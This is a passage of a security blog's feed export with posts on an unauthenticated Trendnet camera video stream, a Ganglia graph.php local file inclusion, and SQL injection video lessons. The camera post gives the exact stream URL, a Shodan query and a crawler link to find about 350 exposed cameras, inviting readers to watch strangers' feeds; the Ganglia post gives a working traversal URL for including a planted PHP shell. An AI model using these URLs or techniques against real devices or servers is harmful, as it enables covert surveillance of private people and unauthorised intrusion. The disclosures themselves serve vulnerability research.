/&gt;#&lt;span style="color: lime;"&gt;ls&lt;/span&gt;&lt;br /&gt;bin &amp;nbsp;dev &amp;nbsp;etc &amp;nbsp;lib &amp;nbsp;linuxrc &amp;nbsp;mnt &amp;nbsp;proc &amp;nbsp;sbin &amp;nbsp;server &amp;nbsp;tmp &amp;nbsp;usr &amp;nbsp;var&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#cd server/cgi-bin/anony/&lt;br /&gt;#ls&lt;br /&gt;jpgview.htm &amp;nbsp;mjpeg.cgi &amp;nbsp;mjpg.cgi &amp;nbsp;view2.cgi&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to &lt;a href="http://192.168.1.17/anony/mjpg.cgi"&gt;http://192.168.1.17/anony/mjpg.cgi&lt;/a&gt;&amp;nbsp;and surprisingly we get a live stream from the camera.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TiV02BUzQEk/TwyvXqG4jnI/AAAAAAAAANY/wqXG6JVsVx0/s1600/2.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="280" src="http://1.bp.blogspot.com/-TiV02BUzQEk/TwyvXqG4jnI/AAAAAAAAANY/wqXG6JVsVx0/s400/2.PNG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;video stream. giving no fucks.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-JjqSpMqCfvE/TwywqwbyibI/AAAAAAAAANg/EEKoVPJJp0w/s1600/3.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="488" src="http://2.bp.blogspot.com/-JjqSpMqCfvE/TwywqwbyibI/AAAAAAAAANg/EEKoVPJJp0w/s640/3.PNG" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Users configured with passwords.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches&amp;nbsp;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-NVxs65IxceI/TwyyhTYBGII/AAAAAAAAANo/o_aFkcwiWgA/s1600/4.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="312" src="http://2.bp.blogspot.com/-NVxs65IxceI/TwyyhTYBGII/AAAAAAAAANo/o_aFkcwiWgA/s640/4.PNG" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;HTTP Auth with 'netcam' realm&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;Hopping on over to Shodan (&lt;a href="http://www.shodanhq.com/"&gt;http://www.shodanhq.com&lt;/a&gt;) we can search for 'netcam' and see if there is anyone out there for us to watch&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2Sahc-Nqdug/Twy1ZAd3F5I/AAAAAAAAANw/XGUOVXF8MVQ/s1600/5.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="547" src="http://4.bp.blogspot.com/-2Sahc-Nqdug/Twy1ZAd3F5I/AAAAAAAAANw/XGUOVXF8MVQ/s640/5.PNG" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;9,500 results&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kCGhJZuIT_U/Twy1uZfja7I/AAAAAAAAAN4/qKI-3QmmAkg/s1600/6.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="325" src="http://1.bp.blogspot.com/-kCGhJZuIT_U/Twy1uZfja7I/AAAAAAAAAN4/qKI-3QmmAkg/s400/6.PNG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;creepy hole in the wall&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-A7IvRelZX3c/Twy12sDBOOI/AAAAAAAAAOA/QfOJqcTl8j4/s1600/7.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="326" src="http://1.bp.blogspot.com/-A7IvRelZX3c/Twy12sDBOOI/AAAAAAAAAOA/QfOJqcTl8j4/s400/7.PNG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;front doors to some business&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts....&amp;nbsp;&lt;a href="http://consolecowboys.org/scripts/camscan.py"&gt;http://consolecowboys.org/scripts/camscan.py&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This python script requires the shodan api libs&amp;nbsp;&lt;a href="http://docs.shodanhq.com/"&gt;http://docs.shodanhq.com/&lt;/a&gt;&amp;nbsp;and an API key.&amp;nbsp;It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&amp;nbsp; &amp;nbsp; def search(self, query&lt;span style="color: lime;"&gt;,page=1&lt;/span&gt;):&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; """Search the SHODAN database.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Arguments:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; query &amp;nbsp; &amp;nbsp;-- search query; identical syntax to the website&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: lime;"&gt; page &amp;nbsp; &amp;nbsp; -- page number of results &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Returns:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; A dictionary with 3 main items: matches, countries and total.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Visit the website for more detailed information.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; """&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self._request('search', &lt;span style="color: lime;"&gt;{'q': query,'page':page}&lt;/span&gt;)&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-1165222566104591512?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/1165222566104591512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1165222566104591512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1165222566104591512'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html' title='Trendnet Cameras - I always feel like somebody&apos;s watching me.'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-9mIsajQERUk/Twyc3j4ZZLI/AAAAAAAAANQ/UfyrszBN5QA/s72-c/1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-6281580270632948881</id><published>2012-01-09T19:45:00.000-08:00</published><updated>2012-01-10T06:31:04.299-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LFI'/><category scheme='http://www.blogger.com/atom/ns#' term='ganglia'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Ganglia Monitoring System LFI</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-noQ3dPDsCfc/TwvBSsTBYuI/AAAAAAAAANI/cxQG0-QYP24/s1600/1.png"&gt;&lt;/a&gt;Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was “Ganglia Monitoring System” &lt;a href="http://ganglia.sourceforge.net/"&gt;http://ganglia.sourceforge.net &lt;/a&gt;&lt;br /&gt;&lt;div&gt;The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First step was to build a lab up on a VM (ubuntu)&lt;/div&gt;&lt;div&gt;apt-get install ganglia-webfrontend&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Started out with a simple grep looking for php includes that used a variable....bingo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ &lt;b&gt;&lt;span style="color: lime;"&gt;egrep 'include.*\$' *&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                            if( isset( $this-&amp;gt;tpl_include[ $regs[2] ]) )&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                $tpl_file = $this-&amp;gt;tpl_include[ $regs[2] ][0];&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                $type   = $this-&amp;gt;tpl_include[ $regs[2] ][1];&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                            if( isset( $this-&amp;gt;tpl_include[ $regs[2] ]) )&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                $include_file = $this-&amp;gt;tpl_include[ $regs[2] ][0];&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;$type         = $this-&amp;gt;tpl_include[ $regs[2] ][1];&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                $include_file = $regs[2];&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                    if( !@include_once( $include_file ) )&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:                                        $this-&amp;gt;__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );&lt;/div&gt;&lt;div&gt;class.TemplatePower.inc.php:        $this-&amp;gt;tpl_include["$iblockname"] = Array( $value, $type );&lt;/div&gt;&lt;div&gt;&lt;span style="color: lime;"&gt;&lt;b&gt;graph.php:    include_once($graph_file);&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;$graph      = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : NULL;&lt;/blockquote&gt;&lt;blockquote&gt;....&lt;/blockquote&gt;&lt;blockquote&gt;....&lt;/blockquote&gt;&lt;blockquote&gt;....&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;$graph_file = "$graphdir/$graph.php";&lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/blockquote&gt;Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;function sanitize ( $string ) {&lt;/div&gt;&lt;div&gt;  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;#-------------------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;# If arg is a valid number, return it.  Otherwise, return null.&lt;/div&gt;&lt;div&gt;function clean_number( $value )&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;  return is_numeric( $value ) ? $value : null;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Going back to the graph.php file&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;$graph_file = "$graphdir/$graph.php";&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;if ( is_readable($graph_file) ) {&lt;/div&gt;&lt;div&gt;    include_once($graph_file);&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;    $graph_function = "graph_${graph}";&lt;/div&gt;&lt;div&gt;    $graph_function($rrdtool_graph);  // Pass by reference call, $rrdtool_graph modified inplace&lt;/div&gt;&lt;div&gt;} else {&lt;/div&gt;&lt;div&gt;    /* Bad stuff happened. */&lt;/div&gt;&lt;div&gt;    error_log("Tried to load graph file [$graph_file], but failed.  Invalid graph, aborting.");&lt;/div&gt;&lt;div&gt;    exit();&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :). &lt;/div&gt;&lt;div&gt;The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...&lt;/div&gt;&lt;div&gt;&lt;a href="http://localhost/ganglia/graph.php?g=/../../../../../../../../tmp/blah"&gt;http://localhost/ganglia/graph.php?g=/../../../../../../../../tmp/blah&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5695858680612872930" src="http://1.bp.blogspot.com/-noQ3dPDsCfc/TwvBSsTBYuI/AAAAAAAAANI/cxQG0-QYP24/s320/1.png" style="color: #0000ee; cursor: pointer; display: block; height: 147px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; text-decoration: underline; width: 320px;" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Win. Not ideal, but it could work....&lt;/div&gt;&lt;div&gt;&lt;br class="Apple-interchange-newline" /&gt;&lt;/div&gt;&lt;div&gt;Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="color: lime;"&gt;$graph      = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="color: lime;"&gt; $php_report_file = $conf['graphdir'] . "/" . $graph . ".php";&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";&lt;/div&gt;&lt;div&gt;if( is_file( $php_report_file ) ) {&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="color: lime;"&gt;include_once $php_report_file;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;tl;dr; wrap up - “Ganglia Monitoring System” &lt;a href="http://ganglia.sourceforge.net/"&gt;http://ganglia.sourceforge.net&lt;/a&gt; contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - &lt;a href="http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell"&gt;http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-6281580270632948881?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/6281580270632948881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6281580270632948881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6281580270632948881'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html' title='Ganglia Monitoring System LFI'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-noQ3dPDsCfc/TwvBSsTBYuI/AAAAAAAAANI/cxQG0-QYP24/s72-c/1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-4242017989135887339</id><published>2011-11-11T09:51:00.000-08:00</published><updated>2011-11-11T09:51:33.241-08:00</updated><title type='text'>Web Hacking Video Series #4 MySQL Part 2 (Injection and Coding)</title><content type='html'>&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Video Lesson Topics:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Setting up your victim application, databases and lab&lt;/li&gt;&lt;li&gt;Attacking a simple injection with information Schema&lt;/li&gt;&lt;li&gt;Automating your injections with python and beautiful soup&lt;/li&gt;&lt;li&gt;Dealing with various web encoding in Python and PHP&lt;/li&gt;&lt;li&gt;Bypassing LoadFile Size restrictions and automating it &lt;/li&gt;&lt;li&gt;Decrypting sensitive data via PHP and Python interactions&lt;/li&gt;&lt;li&gt;As always me rambling about stupid nonsense :P FTW&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Part 2 of Mysql covers the topic of injecting a simple SQL injection example. Starts out slow then combines techniques and moves into more advanced topics. Prior to attempting this lesson make sure you have watched the videos in the previous blog or understand both SQL and basic python coding. I will show how to automate the injection process via python utilizing simple HTML processing abilities of beautiful soup.&amp;nbsp; I will cover many python libraries for encoding data and calling web based applications. I also talk about how to deal with encrypted data and methods of enumerating files and folders looking for possible implementation issues and attack points to decrypt sensitive data via PHP/Python interaction with whats available on the server. This is the 2nd part of a 3 part series on MySQL for attacking web applications. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Files Needed:&lt;/b&gt;&lt;/div&gt;&lt;a href="http://consolecowboys.org/webLab/labFiles/mysqliLab.zip"&gt;Lab Files&lt;/a&gt;&lt;br /&gt;BT5&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Video Lesson:&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt; &lt;/div&gt;&lt;iframe src="http://player.vimeo.com/video/31949954?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400" height="225" frameborder="0" webkitAllowFullScreen allowFullScreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Whats Next:&lt;/b&gt;&lt;/div&gt;PHP source code analysis&lt;br /&gt;Recoding PHP applications to fix SQLi&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-4242017989135887339?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/4242017989135887339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/11/web-hacking-video-series-4-mysql-part-2.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4242017989135887339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4242017989135887339'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/11/web-hacking-video-series-4-mysql-part-2.html' title='Web Hacking Video Series #4 MySQL Part 2 (Injection and Coding)'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-8840651751393954121</id><published>2011-11-04T15:37:00.000-07:00</published><updated>2011-11-04T21:30:08.819-07:00</updated><title type='text'>Web Hacking Video Series #3 MySQL Part 1 (SQL Primer)</title><content type='html'>&lt;span class="Apple-style-span" style="color: #0b5394;"&gt;&lt;b&gt;Video Lesson Topics:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Creating a SQL-cmdShell in python&lt;/li&gt;&lt;li&gt;Setting up a SQL lab/learning&amp;nbsp;environment&lt;/li&gt;&lt;li&gt;Learning basic SQL queries&lt;/li&gt;&lt;li&gt;More advanced queries for pulling meaningful data&lt;/li&gt;&lt;li&gt;Interacting with the operating system&lt;/li&gt;&lt;li&gt;Basic filter bypass and built in encoding mechanisms&lt;/li&gt;&lt;li&gt;MySQL specific functions and structure&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;This part of the series is a&amp;nbsp;manual&amp;nbsp;sql/python tutorial which will instruct the viewer on how to create&amp;nbsp;their&amp;nbsp;own database interaction with python, the audience being both hackers and new developers. &amp;nbsp;After connecting to the database learn how to use that interaction for pulling meaningful data from a SQL database and interacting with the underlying operating systems and DB functionality. I will cover basic to more advanced sql queries and interactions. None of the videos contain any injection whatsoever, &amp;nbsp;instead&amp;nbsp;a DB and SQL primer for the purpose of learning a foundation prior to trying to attack the unknown. &amp;nbsp;I do delve into many topics related to injection and relate many topics to injection but everything is done on the command line in an interactive lab&amp;nbsp;environment&amp;nbsp;you create for yourself!!&amp;nbsp; The next blog in the series will cover Injection followed by code analysis and recoding applications with parametrized queries. There will also be MSSQL based stuff in the same sequence of events in future posts. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: #0b5394;"&gt;&lt;b&gt;Needed To follow Along:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;BT5 VM&lt;/li&gt;&lt;li&gt;Test Database http://launchpad.net/test-db/employees-db-1/1.0.6/+download/employees_db-full-1.0.6.tar.bz2&lt;/li&gt;&lt;li&gt;The Pillager:&amp;nbsp;http://consolecowboys.org/pillager/pillage_0.6.zip&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: #0b5394;"&gt;Whats next:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;MySql Injection &lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;MSSQL specific learning and Labs&lt;/div&gt;&lt;div&gt;Source Code analysis &lt;/div&gt;&lt;div&gt;Recoding your applications in PHP and ASP&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Part 1.1 Coding your Python SQL cmdShell:&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="225" src="http://player.vimeo.com/video/30152035?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Part 1.2 Learning SQL:&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="225" 